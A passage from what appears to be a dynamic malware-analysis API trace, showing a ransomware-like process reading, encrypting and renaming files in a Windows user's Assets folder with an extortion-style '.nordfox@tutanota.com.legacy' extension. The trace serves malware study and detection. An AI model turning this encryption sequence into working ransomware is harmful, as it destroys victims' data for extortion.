hFile=0x1830, lpBuffer=0x30d51b0*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4180, lpOverlapped=0x0) returned 1 [0170.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51b0 | out: hHeap=0x520000) returned 1 [0170.688] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4180 [0170.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.688] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.688] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.688] CloseHandle (hObject=0x1830) returned 1 [0170.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0170.688] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0170.688] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0170.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609ed0 | out: hHeap=0x520000) returned 1 [0170.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aa10 | out: hHeap=0x520000) returned 1 [0170.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a308 [0170.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0170.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0170.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0170.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0170.690] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec", dwFileAttributes=0x80) returned 1 [0170.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x609ed0 [0170.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0170.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609ed0 | out: hHeap=0x520000) returned 1 [0170.691] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.691] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=352893) returned 1 [0170.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5627d) returned 0x33b6018 [0170.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5627d) returned 0x340c2a0 [0170.693] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x5627d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x5627d, lpOverlapped=0x0) returned 1 [0170.718] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-352893, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.718] WriteFile (in: hFile=0x1830, lpBuffer=0x340c2a0*, nNumberOfBytesToWrite=0x5627d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x340c2a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5627d, lpOverlapped=0x0) returned 1 [0170.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x340c2a0 | out: hHeap=0x520000) returned 1 [0170.723] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5627d [0170.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.724] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.724] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.725] CloseHandle (hObject=0x1830) returned 1 [0170.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0170.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0170.725] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b46b0 | out: hHeap=0x520000) returned 1 [0170.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a308 | out: hHeap=0x520000) returned 1 [0170.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609d68 | out: hHeap=0x520000) returned 1 [0170.726] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a470 [0170.726] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.726] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0170.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0170.727] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5", dwFileAttributes=0x80) returned 1 [0170.727] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x609d68 [0170.727] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4488 [0170.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609d68 | out: hHeap=0x520000) returned 1 [0170.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.727] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12178) returned 1 [0170.727] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2f92) returned 0x30d1028 [0170.728] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2f92) returned 0x30d3fc8 [0170.728] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x2f92, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f92, lpOverlapped=0x0) returned 1 [0170.738] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-12178, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.738] WriteFile (in: hFile=0x1830, lpBuffer=0x30d3fc8*, nNumberOfBytesToWrite=0x2f92, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d3fc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f92, lpOverlapped=0x0) returned 1 [0170.738] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.738] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d3fc8 | out: hHeap=0x520000) returned 1 [0170.738] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f92 [0170.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.738] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.738] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.739] CloseHandle (hObject=0x1830) returned 1 [0170.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0170.739] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4488 | out: hHeap=0x520000) returned 1 [0170.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a470 | out: hHeap=0x520000) returned 1 [0170.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0170.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60aa10 [0170.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0170.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0170.743] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1", dwFileAttributes=0x80) returned 1 [0170.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x609c00 [0170.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0170.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609c00 | out: hHeap=0x520000) returned 1 [0170.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.744] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=141160) returned 1 [0170.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x22768) returned 0x30d1028 [0170.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x22768) returned 0x2ee3010 [0170.745] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x22768, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x22768, lpOverlapped=0x0) returned 1 [0170.759] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-141160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.759] WriteFile (in: hFile=0x1830, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x22768, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x22768, lpOverlapped=0x0) returned 1 [0170.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0170.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ee3010 | out: hHeap=0x520000) returned 1 [0170.760] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x22768 [0170.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.760] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.760] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.760] CloseHandle (hObject=0x1830) returned 1 [0170.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0170.761] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0170.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aa10 | out: hHeap=0x520000) returned 1 [0170.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b550 | out: hHeap=0x520000) returned 1 [0170.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a308 [0170.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0170.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0170.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0170.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0170.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c", dwFileAttributes=0x80) returned 1 [0170.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b550 [0170.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b48d8 [0170.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b550 | out: hHeap=0x520000) returned 1 [0170.763] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0170.764] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=515722) returned 1 [0170.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7de8a) returned 0x33b6018 [0170.765] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7de8a) returned 0x3433eb0 [0170.766] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x7de8a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x7de8a, lpOverlapped=0x0) returned 1 [0170.805] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-515722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.805] WriteFile (in: hFile=0x1830, lpBuffer=0x3433eb0*, nNumberOfBytesToWrite=0x7de8a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3433eb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7de8a, lpOverlapped=0x0) returned 1 [0170.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0170.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3433eb0 | out: hHeap=0x520000) returned 1 [0170.815] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7de8a [0170.815] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0170.815] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0170.817] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0170.817] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0170.817] CloseHandle (hObject=0x1830) returned 1 [0170.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0170.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0170.817] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0170.819] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b48d8 | out: hHeap=0x520000) returned 1 [0170.819] HeapFree (in: hHeap=0x520000, 